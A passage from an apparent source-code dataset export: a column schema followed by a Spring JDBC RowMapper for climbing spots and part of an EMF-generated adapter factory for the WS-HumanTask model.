blob_id
stringlengths 40
40
| __id__
int64 225
39,780B
| directory_id
stringlengths 40
40
| path
stringlengths 6
313
| content_id
stringlengths 40
40
| detected_licenses
list | license_type
stringclasses 2
values | repo_name
stringlengths 6
132
| repo_url
stringlengths 25
151
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringlengths 4
70
| visit_date
timestamp[ns] | revision_date
timestamp[ns] | committer_date
timestamp[ns] | github_id
int64 7.28k
689M
⌀ | star_events_count
int64 0
131k
| fork_events_count
int64 0
48k
| gha_license_id
stringclasses 23
values | gha_fork
bool 2
classes | gha_event_created_at
timestamp[ns] | gha_created_at
timestamp[ns] | gha_updated_at
timestamp[ns] | gha_pushed_at
timestamp[ns] | gha_size
int64 0
40.4M
⌀ | gha_stargazers_count
int32 0
112k
⌀ | gha_forks_count
int32 0
39.4k
⌀ | gha_open_issues_count
int32 0
11k
⌀ | gha_language
stringlengths 1
21
⌀ | gha_archived
bool 2
classes | gha_disabled
bool 1
class | content
stringlengths 7
4.37M
| src_encoding
stringlengths 3
16
| language
stringclasses 1
value | length_bytes
int64 7
4.37M
| extension
stringclasses 24
values | filename
stringlengths 4
174
| language_id
stringclasses 1
value | entities
list | contaminating_dataset
stringclasses 0
values | malware_signatures
list | redacted_content
stringlengths 7
4.37M
| redacted_length_bytes
int64 7
4.37M
| alphanum_fraction
float32 0.25
0.94
| alpha_fraction
float32 0.25
0.94
| num_lines
int32 1
84k
| avg_line_length
float32 0.76
99.9
| std_line_length
float32 0
220
| max_line_length
int32 5
998
| is_vendor
bool 2
classes | is_generated
bool 1
class | max_hex_length
int32 0
319
| hex_fraction
float32 0
0.38
| max_unicode_length
int32 0
408
| unicode_fraction
float32 0
0.36
| max_base64_length
int32 0
506
| base64_fraction
float32 0
0.5
| avg_csv_sep_count
float32 0
4
| is_autogen_header
bool 1
class | is_empty_html
bool 1
class | shard
stringclasses 16
values |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
4ca56f39815a914d7f870f6bad51d8cc77d95d43 | 29,695,403,921,062 | 78594cffccc6f2d6a7ed8508cc4e8899798fb9b4 | /climbing/climbing-consumer/src/main/java/org/climbing/consumer/impl/rowmappers/spot/SpotRM.java | aae810ab23dbb195958c9b84f33d6d4e87d0906b | [] | no_license | nadaJab/climbing-website | https://github.com/nadaJab/climbing-website | e6d0c8ed13ebee444f9d141cc81e78ec3d61f605 | ec1f320f93ceca7d16abbda4fc404c32b027a95c | refs/heads/master | 2021-08-18T05:42:10.214000 | 2018-12-31T10:53:51 | 2018-12-31T10:53:51 | 133,322,442 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package org.climbing.consumer.impl.rowmappers.spot;
import java.sql.ResultSet;
import java.sql.SQLException;
import org.climbing.model.beans.spot.Country;
import org.climbing.model.beans.spot.Spot;
import org.springframework.jdbc.core.RowMapper;
public class SpotRM implements RowMapper<Spot>{
@Override
public Spot mapRow(ResultSet rs, int rowNum) throws SQLException {
Spot spot = new Spot();
Country country = new Country();
country.setIdCityCountry(rs.getInt("id_city_country"));
spot.setIdSpot(rs.getInt("id_spot"));
spot.setSpotName(rs.getString("spot_name"));
spot.setNbRoutesTotal(rs.getInt("total_routes_nb"));
spot.setCotationMax(rs.getString("cotation_max"));
spot.setCotationMin(rs.getString("cotation_min"));
spot.setOrientation(rs.getString("orientation"));
spot.setClimbingType(rs.getString("climbing_type"));
spot.setCountry(country);
country.setCityName(rs.getString("city_name"));
country.setCountryName(rs.getString("country_name"));
return spot;
}
}
| UTF-8 | Java | 1,017 | java | SpotRM.java | Java | [] | null | [] | package org.climbing.consumer.impl.rowmappers.spot;
import java.sql.ResultSet;
import java.sql.SQLException;
import org.climbing.model.beans.spot.Country;
import org.climbing.model.beans.spot.Spot;
import org.springframework.jdbc.core.RowMapper;
public class SpotRM implements RowMapper<Spot>{
@Override
public Spot mapRow(ResultSet rs, int rowNum) throws SQLException {
Spot spot = new Spot();
Country country = new Country();
country.setIdCityCountry(rs.getInt("id_city_country"));
spot.setIdSpot(rs.getInt("id_spot"));
spot.setSpotName(rs.getString("spot_name"));
spot.setNbRoutesTotal(rs.getInt("total_routes_nb"));
spot.setCotationMax(rs.getString("cotation_max"));
spot.setCotationMin(rs.getString("cotation_min"));
spot.setOrientation(rs.getString("orientation"));
spot.setClimbingType(rs.getString("climbing_type"));
spot.setCountry(country);
country.setCityName(rs.getString("city_name"));
country.setCountryName(rs.getString("country_name"));
return spot;
}
}
| 1,017 | 0.752212 | 0.752212 | 34 | 28.911764 | 22.605787 | 67 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.735294 | false | false | 9 |
646b023a5f707e71a600290ae2909bc38ec121fe | 31,808,527,824,127 | f57465508b8ca9b8206cc99ab07f11f53c3acbf8 | /org.wso2.tools.humantask/src/org/open/oasis/docs/ns/bpel4people/ws/humantask/ht/util/htdAdapterFactory.java | 74bb32577585c83129a87c3be0d41340d9eee7b8 | [] | no_license | RockychengJson/humiee | https://github.com/RockychengJson/humiee | 63fbf9c045d6836dfa0b7e2c61877cdce0c9e9c3 | 48b6eaa71b8b93054ea6201cf50f0e3095625946 | refs/heads/master | 2020-04-02T08:16:40.071000 | 2011-10-12T10:50:17 | 2011-10-12T10:50:17 | 39,053,875 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | /**
* <copyright>
* </copyright>
*
* $Id$
*/
package org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.util;
import org.eclipse.emf.common.notify.Adapter;
import org.eclipse.emf.common.notify.Notifier;
import org.eclipse.emf.common.notify.impl.AdapterFactoryImpl;
import org.eclipse.emf.ecore.EObject;
import org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.*;
/**
* <!-- begin-user-doc -->
* The <b>Adapter Factory</b> for the model.
* It provides an adapter <code>createXXX</code> method for each class of the model.
* <!-- end-user-doc -->
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.htdPackage
* @generated
*/
public class htdAdapterFactory extends AdapterFactoryImpl {
/**
* The cached model package.
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
protected static htdPackage modelPackage;
/**
* Creates an instance of the adapter factory.
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
public htdAdapterFactory() {
if (modelPackage == null) {
modelPackage = htdPackage.eINSTANCE;
}
}
/**
* Returns whether this factory is applicable for the type of the object.
* <!-- begin-user-doc -->
* This implementation returns <code>true</code> if the object is either the model's package or is an instance object of the model.
* <!-- end-user-doc -->
* @return whether this factory is applicable for the type of the object.
* @generated
*/
@Override
public boolean isFactoryForType(Object object) {
if (object == modelPackage) {
return true;
}
if (object instanceof EObject) {
return ((EObject)object).eClass().getEPackage() == modelPackage;
}
return false;
}
/**
* The switch that delegates to the <code>createXXX</code> methods.
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
protected htdSwitch<Adapter> modelSwitch =
new htdSwitch<Adapter>() {
@Override
public Adapter caseDocumentRoot(DocumentRoot object) {
return createDocumentRootAdapter();
}
@Override
public Adapter caseTArgument(TArgument object) {
return createTArgumentAdapter();
}
@Override
public Adapter caseTBooleanExpr(TBooleanExpr object) {
return createTBooleanExprAdapter();
}
@Override
public Adapter caseTDeadline(TDeadline object) {
return createTDeadlineAdapter();
}
@Override
public Adapter caseTDeadlineExpr(TDeadlineExpr object) {
return createTDeadlineExprAdapter();
}
@Override
public Adapter caseTDeadlines(TDeadlines object) {
return createTDeadlinesAdapter();
}
@Override
public Adapter caseTDelegation(TDelegation object) {
return createTDelegationAdapter();
}
@Override
public Adapter caseTDescription(TDescription object) {
return createTDescriptionAdapter();
}
@Override
public Adapter caseTDocumentation(TDocumentation object) {
return createTDocumentationAdapter();
}
@Override
public Adapter caseTDurationExpr(TDurationExpr object) {
return createTDurationExprAdapter();
}
@Override
public Adapter caseTEscalation(TEscalation object) {
return createTEscalationAdapter();
}
@Override
public Adapter caseTExpression(TExpression object) {
return createTExpressionAdapter();
}
@Override
public Adapter caseTExtensibleElements(TExtensibleElements object) {
return createTExtensibleElementsAdapter();
}
@Override
public Adapter caseTExtensibleMixedContentElements(TExtensibleMixedContentElements object) {
return createTExtensibleMixedContentElementsAdapter();
}
@Override
public Adapter caseTExtension(TExtension object) {
return createTExtensionAdapter();
}
@Override
public Adapter caseTExtensions(TExtensions object) {
return createTExtensionsAdapter();
}
@Override
public Adapter caseTFrom(TFrom object) {
return createTFromAdapter();
}
@Override
public Adapter caseTGenericHumanRole(TGenericHumanRole object) {
return createTGenericHumanRoleAdapter();
}
@Override
public Adapter caseTGrouplist(TGrouplist object) {
return createTGrouplistAdapter();
}
@Override
public Adapter caseTHumanInteractions(THumanInteractions object) {
return createTHumanInteractionsAdapter();
}
@Override
public Adapter caseTImport(TImport object) {
return createTImportAdapter();
}
@Override
public Adapter caseTLiteral(TLiteral object) {
return createTLiteralAdapter();
}
@Override
public Adapter caseTLocalNotification(TLocalNotification object) {
return createTLocalNotificationAdapter();
}
@Override
public Adapter caseTLogicalPeopleGroup(TLogicalPeopleGroup object) {
return createTLogicalPeopleGroupAdapter();
}
@Override
public Adapter caseTLogicalPeopleGroups(TLogicalPeopleGroups object) {
return createTLogicalPeopleGroupsAdapter();
}
@Override
public Adapter caseTNotification(TNotification object) {
return createTNotificationAdapter();
}
@Override
public Adapter caseTNotificationInterface(TNotificationInterface object) {
return createTNotificationInterfaceAdapter();
}
@Override
public Adapter caseTNotifications(TNotifications object) {
return createTNotificationsAdapter();
}
@Override
public Adapter caseTOrganizationalEntity(TOrganizationalEntity object) {
return createTOrganizationalEntityAdapter();
}
@Override
public Adapter caseTParameter(TParameter object) {
return createTParameterAdapter();
}
@Override
public Adapter caseTPeopleAssignments(TPeopleAssignments object) {
return createTPeopleAssignmentsAdapter();
}
@Override
public Adapter caseTPresentationElements(TPresentationElements object) {
return createTPresentationElementsAdapter();
}
@Override
public Adapter caseTPresentationParameter(TPresentationParameter object) {
return createTPresentationParameterAdapter();
}
@Override
public Adapter caseTPresentationParameters(TPresentationParameters object) {
return createTPresentationParametersAdapter();
}
@Override
public Adapter caseTPriority(TPriority object) {
return createTPriorityAdapter();
}
@Override
public Adapter caseTQuery(TQuery object) {
return createTQueryAdapter();
}
@Override
public Adapter caseTReassignment(TReassignment object) {
return createTReassignmentAdapter();
}
@Override
public Adapter caseTRendering(TRendering object) {
return createTRenderingAdapter();
}
@Override
public Adapter caseTRenderings(TRenderings object) {
return createTRenderingsAdapter();
}
@Override
public Adapter caseTTask(TTask object) {
return createTTaskAdapter();
}
@Override
public Adapter caseTTaskInterface(TTaskInterface object) {
return createTTaskInterfaceAdapter();
}
@Override
public Adapter caseTTasks(TTasks object) {
return createTTasksAdapter();
}
@Override
public Adapter caseTText(TText object) {
return createTTextAdapter();
}
@Override
public Adapter caseTToPart(TToPart object) {
return createTToPartAdapter();
}
@Override
public Adapter caseTToParts(TToParts object) {
return createTToPartsAdapter();
}
@Override
public Adapter caseTUserlist(TUserlist object) {
return createTUserlistAdapter();
}
@Override
public Adapter defaultCase(EObject object) {
return createEObjectAdapter();
}
};
/**
* Creates an adapter for the <code>target</code>.
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @param target the object to adapt.
* @return the adapter for the <code>target</code>.
* @generated
*/
@Override
public Adapter createAdapter(Notifier target) {
return modelSwitch.doSwitch((EObject)target);
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.DocumentRoot <em>Document Root</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.DocumentRoot
* @generated
*/
public Adapter createDocumentRootAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TArgument <em>TArgument</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TArgument
* @generated
*/
public Adapter createTArgumentAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TBooleanExpr <em>TBoolean Expr</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TBooleanExpr
* @generated
*/
public Adapter createTBooleanExprAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDeadline <em>TDeadline</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDeadline
* @generated
*/
public Adapter createTDeadlineAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDeadlineExpr <em>TDeadline Expr</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDeadlineExpr
* @generated
*/
public Adapter createTDeadlineExprAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDeadlines <em>TDeadlines</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDeadlines
* @generated
*/
public Adapter createTDeadlinesAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDelegation <em>TDelegation</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDelegation
* @generated
*/
public Adapter createTDelegationAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDescription <em>TDescription</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDescription
* @generated
*/
public Adapter createTDescriptionAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDocumentation <em>TDocumentation</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDocumentation
* @generated
*/
public Adapter createTDocumentationAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDurationExpr <em>TDuration Expr</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TDurationExpr
* @generated
*/
public Adapter createTDurationExprAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TEscalation <em>TEscalation</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TEscalation
* @generated
*/
public Adapter createTEscalationAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExpression <em>TExpression</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExpression
* @generated
*/
public Adapter createTExpressionAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtensibleElements <em>TExtensible Elements</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtensibleElements
* @generated
*/
public Adapter createTExtensibleElementsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtensibleMixedContentElements <em>TExtensible Mixed Content Elements</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtensibleMixedContentElements
* @generated
*/
public Adapter createTExtensibleMixedContentElementsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtension <em>TExtension</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtension
* @generated
*/
public Adapter createTExtensionAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtensions <em>TExtensions</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TExtensions
* @generated
*/
public Adapter createTExtensionsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TFrom <em>TFrom</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TFrom
* @generated
*/
public Adapter createTFromAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TGenericHumanRole <em>TGeneric Human Role</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TGenericHumanRole
* @generated
*/
public Adapter createTGenericHumanRoleAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TGrouplist <em>TGrouplist</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TGrouplist
* @generated
*/
public Adapter createTGrouplistAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.THumanInteractions <em>THuman Interactions</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.THumanInteractions
* @generated
*/
public Adapter createTHumanInteractionsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TImport <em>TImport</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TImport
* @generated
*/
public Adapter createTImportAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLiteral <em>TLiteral</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLiteral
* @generated
*/
public Adapter createTLiteralAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLocalNotification <em>TLocal Notification</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLocalNotification
* @generated
*/
public Adapter createTLocalNotificationAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLogicalPeopleGroup <em>TLogical People Group</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLogicalPeopleGroup
* @generated
*/
public Adapter createTLogicalPeopleGroupAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLogicalPeopleGroups <em>TLogical People Groups</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TLogicalPeopleGroups
* @generated
*/
public Adapter createTLogicalPeopleGroupsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TNotification <em>TNotification</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TNotification
* @generated
*/
public Adapter createTNotificationAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TNotificationInterface <em>TNotification Interface</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TNotificationInterface
* @generated
*/
public Adapter createTNotificationInterfaceAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TNotifications <em>TNotifications</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TNotifications
* @generated
*/
public Adapter createTNotificationsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TOrganizationalEntity <em>TOrganizational Entity</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TOrganizationalEntity
* @generated
*/
public Adapter createTOrganizationalEntityAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TParameter <em>TParameter</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TParameter
* @generated
*/
public Adapter createTParameterAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPeopleAssignments <em>TPeople Assignments</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPeopleAssignments
* @generated
*/
public Adapter createTPeopleAssignmentsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPresentationElements <em>TPresentation Elements</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPresentationElements
* @generated
*/
public Adapter createTPresentationElementsAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPresentationParameter <em>TPresentation Parameter</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPresentationParameter
* @generated
*/
public Adapter createTPresentationParameterAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPresentationParameters <em>TPresentation Parameters</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPresentationParameters
* @generated
*/
public Adapter createTPresentationParametersAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPriority <em>TPriority</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TPriority
* @generated
*/
public Adapter createTPriorityAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TQuery <em>TQuery</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TQuery
* @generated
*/
public Adapter createTQueryAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TReassignment <em>TReassignment</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TReassignment
* @generated
*/
public Adapter createTReassignmentAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TRendering <em>TRendering</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
* <!-- end-user-doc -->
* @return the new adapter.
* @see org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TRendering
* @generated
*/
public Adapter createTRenderingAdapter() {
return null;
}
/**
* Creates a new adapter for an object of class '{@link org.open.oasis.docs.ns.bpel4people.ws.humantask.ht.TRenderings <em>TRenderings</em>}'.
* <!-- begin-user-doc -->
* This default implementation returns null so that we can easily ignore cases;
* it's useful to ignore a case when inheritance will catch all the cases anyway.
